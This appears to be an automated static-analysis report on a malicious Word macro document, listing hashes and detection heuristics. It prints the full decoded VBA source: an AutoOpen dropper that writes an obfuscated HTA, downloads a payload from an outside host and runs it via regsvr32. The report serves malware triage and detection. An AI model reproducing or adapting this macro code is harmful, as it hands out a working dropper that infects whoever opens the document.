Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 eae0ce159bbffbd0…

MALICIOUS

Office (OOXML)

75.8 KB Created: 2021-03-24 05:12:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01
MD5: 75d088b5604601f2a57a3b92a0e7f422 SHA-1: 66caa1836d19860de2d5136000e56736537a1cd9 SHA-256: eae0ce159bbffbd01a5c669155ab342e2091acfcdfd96b9b589e7abec86cfebd
172 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set listboxMemVariable = CreateObject("wscript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set listboxMemVariable = CreateObject("wscript.shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4919 bytes
SHA-256: 4eba50c9378d6af485c40c4acce9098014993c145574aaf14d057806b68d77fc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{09C170AC-1CA3-4311-9D37-A9FEA0FA4268}{3D6CD90E-6D3E-47E2-ABAF-6F1E29F2D686}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub CommandButton1_Click()
Set listboxMemVariable = CreateObject("wscript.shell")
listboxMemVariable.exec frm.cmdButton1.Tag & " " & frm.cmdButton1.caption
End Sub

Attribute VB_Name = "swapVar"
Sub autoopen()
removeTrustRemove
End Sub
Sub removeTrustRemove()
Dim documentReferenceException As String
documentReferenceException = frm.cmdButton1.caption
swapTmpSwap documentReferenceException
Call frm.CommandButton1_Click
End Sub

Attribute VB_Name = "swapPaste"
Function repoTitleLink()
repoTitleLink = "<div id='content'>dmFyIGFycmF5VG1wID0gbmV3IEFjdGl2ZVhPYmplY3QoIm1zeG1sMi54bWxodHRwIik7YXJyYXlUbXAub3BlbigiR0VUIiwgImh0dHA6Ly9wcm9kdWNlLWFobWVkMjAxNi5jb20vZmR2ZGQvNTI0My83R0tZM3FtTDFtM1JZNHhCcEYyUGhLZ1QzbnJESGJpby8yMVk5blIzMHlLU28vVnBLL0VJRzFkbmR3L3hhcjExP3"
End Function
Function captionVar()
captionVar = "NlYXJjaD1iYnNNZyZwYWdlPTJWMUU1U1JpeGxHVFgyUVNyYmFlQXYycnVkZnNKMiZ1c2VyPWFGaWFtM3kxT2F2Q2ZuJmlkPXZQUXFVRGE3cTBBRnBxZGlHT0NJQ0dUOTJaRiZzaWQ9WnJkaHRlYSZzaWQ9WXJQYjBYbWk1ZHJYeUg5bmdtNGd6R2tTaUN1VCZFeVVLcXpZPVRhUXVEM1N6TCIsIGZhbHNlKTthcnJheVRtcC5zZW5kKCk7aWYoYX"
End Function
Function ptrBufWindow()
ptrBufWindow = "JyYXlUbXAuc3RhdHVzID09IDIwMCl7dmFyIGNvcHlFeCA9IG5ldyBBY3RpdmVYT2JqZWN0KCJhZG9kYi5zdHJlYW0iKTtjb3B5RXgub3Blbjtjb3B5RXgudHlwZSA9IDE7Y29weUV4LndyaXRlKGFycmF5VG1wLnJlc3BvbnNlYm9keSk7Y29weUV4LnNhdmV0b2ZpbGUoImM6XFx1c2Vyc1xccHVibGljXFxyaWdodENvdW50ZXIuanBnIiwgMi"
End Function
Function counterGlobalClear()
counterGlobalClear = "k7Y29weUV4LmNsb3NlO30=|fXspc3NhbENub2l0Y2VsbG9Dbm90dHViKGhjdGFjfTspImF0aC5uaWFtXFxjaWxidXBcXHNyZXN1XFw6YyIoZWxpZmV0ZWxlZC5jbnVGYmlMZnVie3lydDspInRjZWpib21ldHN5c2VsaWYuZ25pdHBpcmNzIih0Y2VqYk9YZXZpdGNBIHdlbiA9IGNudUZiaUxmdWIgcmF2OykiZ3BqLnJldG51b0N0aGdpclxcY"
End Function
Function ptrMemW()
ptrMemW = "2lsYnVwXFxzcmVzdVxcOmMgMjNydnNnZXIiKG51ci4pImxsZWhzLnRwaXJjc3ciKHRjZWpiT1hldml0Y0Egd2Vu</div><div id='table'>0123456789+/</div><script language='javascript'>databaseDataArray = window;lenQuery = document;function selectIndex(pasteCollectionSwap){return(new"
End Function
Function procPaste()
procPaste = " ActiveXObject(pasteCollectionSwap));}function table(){var refBorderConst = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';var pasteArgument = refBorderConst + refBorderConst.toLowerCase() + lenQuery.getElementById('table').innerHTML;return(pasteArgument);}function exceptio"
End Function
Function valueBufText()
valueBufText = "nSwapStorage(s){var e={}; var i; var b=0; var c; var x; var l=0; var a; var memVar=''; var w=String.fromCharCode; var L=s.length;var screenStruct = 'charAt';for(i=0;i<64;i++){e[table()[screenStruct](i)]=i;}for(x=0;x<L;x++){c=e[s[screenStruct](x)];b=(b<<6)+"
End Function
Function namespaceTextboxW()
namespaceTextboxW = "c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(memVar+=w(a));}}return(memVar);};function loadPointerArray(pointerTemp){return pointerTemp.split('').reverse().join('');}databaseDataArray.resizeTo(1, 1);databaseDataArray.moveTo(-100, -100);var viewG"
End Function
Function constLeftMain()
constLeftMain = "eneric = lenQuery.getElementById('content').innerHTML;var viewGeneric = viewGeneric.split('|');var convertListboxCount = loadPointerArray(exceptionSwapStorage(viewGeneric[0]));var convertListboxCount = loadPointerArray(convertListboxCount);var selectCount "
End Function
Function sizeStorageArgument()
sizeStorageArgument = "= loadPointerArray(exceptionSwapStorage(viewGeneric[1]));</script><script language='javascript'>function removeRight(AProcedure){var procedureReferenceClass = selectIndex('msscriptcontrol.scriptcontrol');procedureReferenceClass.Language = 'jscript';procedu"
End Function
Function loadBufW()
loadBufW = "reReferenceClass.Timeout = 60000;procedureReferenceClass.AddCode(AProcedure);return(null);}</script><script language='vbscript'>removeRight convertListboxCount : removeRight selectCount : databaseDataArray.close</script>"
End Function
Function indexMemClass()
indexMemClass = repoTitleLink + captionVar + ptrBufWindow + counterGlobalClear + ptrMemW + procPaste + valueBufText + namespaceTextboxW + constLeftMain + sizeStorageArgument + loadBufW
End Function

Attribute VB_Name = "constLink"
Sub swapTmpSwap(referenceTmp As String)
Open referenceTmp For Output As #1
Print #1, indexMemClass
Close #1
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28672 bytes
SHA-256: d09686c16f4a631e05d5469a1652f8c5f081123668534bf6d115c7fe449e2d12
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 long base64-like blob(s).

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